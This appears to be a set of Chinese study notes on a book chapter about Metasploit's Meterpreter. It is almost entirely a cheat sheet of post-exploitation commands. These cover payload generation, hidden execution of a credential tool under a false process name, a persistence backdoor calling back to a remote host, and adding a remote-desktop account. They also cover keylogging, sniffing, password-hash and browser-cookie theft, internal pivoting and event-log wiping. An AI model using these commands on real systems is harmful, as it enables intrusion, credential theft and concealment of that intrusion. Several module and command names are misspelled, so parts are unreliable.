攻击载荷
windows/download-exec 攻击载荷,下载指定URL文件并执行
如何使用攻击载荷
use windows/smb/ms08_067_netai
show payloads
info windows/exec
//查看攻击载荷信息
管理攻击载荷
msfpayload windows/exec CMD=dir c
//导出C语言二进制完整shell
msfpayload windows/exec CMD=dir R|ndisasm -u –
//使用ndisasm查看shellcode的汇编代码。
主角登场
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。
命令详细
攻陷主机后会MSF的一个meterpreter的会话
MSF终端显示meterpreter>提示符
使用?或者help获取帮助
基本命令
包含msf,ruby,目标shell等交互命令
background //MSF终端,隐藏后台已执行其他操作 sessions //查看获取的会话 sessions -i <会话id> //选择会话ID进行交互 quit //关闭退出会话 shell //获取系统控制台shell
irb
irb //使用ruby中封装好的方法 client.sys.config.sysinfo() client.core.use("railgun") //添加附加组建--Railgun client.railgun.user32.MessageBoxA(0,"hello !world",NULL,MB_OK) client.railgun.kernel32.SetThreadExecutionState("ES_CONTINUOUS|ES_SYSTEM_REQUIRED")
cat查看文件
cat c:\\boot.ini
获取目标机当前目录
getwd getlwd
上传文件
upload -h //查看帮助 upload netcat.exe c:\ //把netcat.exe上传至目标C盘根目录
下载文件
download c:\\xxx.exe //需要双斜杠进行转义
编辑文件
edit c:\\windows\\system32\\drivers\\etc\\hosts //调用VI编辑器对目标文件编辑
搜索文件
search -h //查看帮助 search -d c:\\windows -f *.mdb //-d为空全盘搜索
查看目标网络
ipconfig
端口转发
protfwd -h //查看帮助 portfwd add -l 1234 -p 3389 -r <目标IP> //外网链接1234将会转发到目标IP的3389
查看路由表信息
route
系统命令
查看进程信息ID
ps
把Meterpreter 会话转移到另外进程
migrate <进程pid>
目标执行文件
execute //查看帮助 execute -H <-i> -f cmd.exe //隐藏执行CMD -i 可空,是否交互 execute -H -m -d calc.exe -f wce.exe -a "-o foo.txt" //已内存方法加载wce.exe文件并以calc.exe进程名显示 //-a 是执行文件的参数
终结进程
kill
获取会话用户名
getuid
获取一些目标信息,如机器名,操作系统,
sysinfo
目标关机
shutdown
后渗透模块post
使用实例,使用post/windows/gather/forensice/enum_drives枚举主机磁盘驱动器
use post/windows/gather/forensice/enum_drives set SESSION 3 exploit
如果在meterpreter会话中:run post/windows/gather/forensice/enum_drives
植入后门
meterpreter会话中
run persistence -X -i 5 -p 443 -r <回连主机>
上面意思为运行persistence
-X 添加到注册表自启动
-i 反响链接时间
-p 回连端口
-r 回连主机ip
持久化后门(书中介绍说比较普通,很容易发现及给杀)
run metsvc
监听31337端口,并传入3个文件
1,metsrv.dll meterpreter实现DLL
2,metsvc-server.exe 服务启动程序,对DLL进行加载
3,metsvc.exe 将上面2个安装成服务的功能
getgui:开启对方远程服务
run getgui -u <添加的远程账户> -p <连接密码>
如果对方在内网,需配合portfwd
还会生成日志清除脚本在
run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clena_up__xxxx.xxx.rc
具体的路径看上面开启服务时返回的数据
权限提升
getsystem -h //查看帮助 getuid getsystem
另外可利用MS10-073和MS10-092
信息获取
dmplink模块获取办公文档
run post/windows/gather/dumplinks
enum_application获取主机安装软件,补丁
run post/windows/gather/enum_applications
键盘记录
keyscan_start keyscan_dump keyscan_stop
sniffer嗅探
use sniffer
具体整个流程如下
sniffer_interfaces //查看网卡 sniffer_start 1 //选择将要进行嗅探的网卡 sniffer_dump 1 /tmp/xpsp1.cap 将嗅探到的数据保存在本机目录 sniffer_stop 1
标准的PCAP文件格式,可用Wireshark等工具
enum_ie读取IE浏览历史,COOKIE,IE缓存密码
run post/windows/gather/enim_ie
系统口令摄取
hashdump
如果整个获取失败可场下面的,功能更强大些
run windwos/gather/smart_hashdump
获取的密码是加密过的,可在线使用网页尝试破解
内网扩展
使用会话对内网进行扩展。如下
添加路由
run get_local_subnets //获取内网网段信息 background //会话到后台,返回MSF route add 192.168.0.x 255.255.255.0 route print
配置完成后简单对445扫描实例
use auxiliary/scanner/portscan/tcp set RHOST 192.168.0.0/25 set PORTS 445 run
掩踪灭迹
clearev
timesomp修改文件访问时间
全书总结
到这里第9章。还有一章节讲的是夺期竞赛,不打算专门弄文章记录了
基本书中知识点过了一遍。
也大致明白Metasploit运行原理,重要的还是要实践。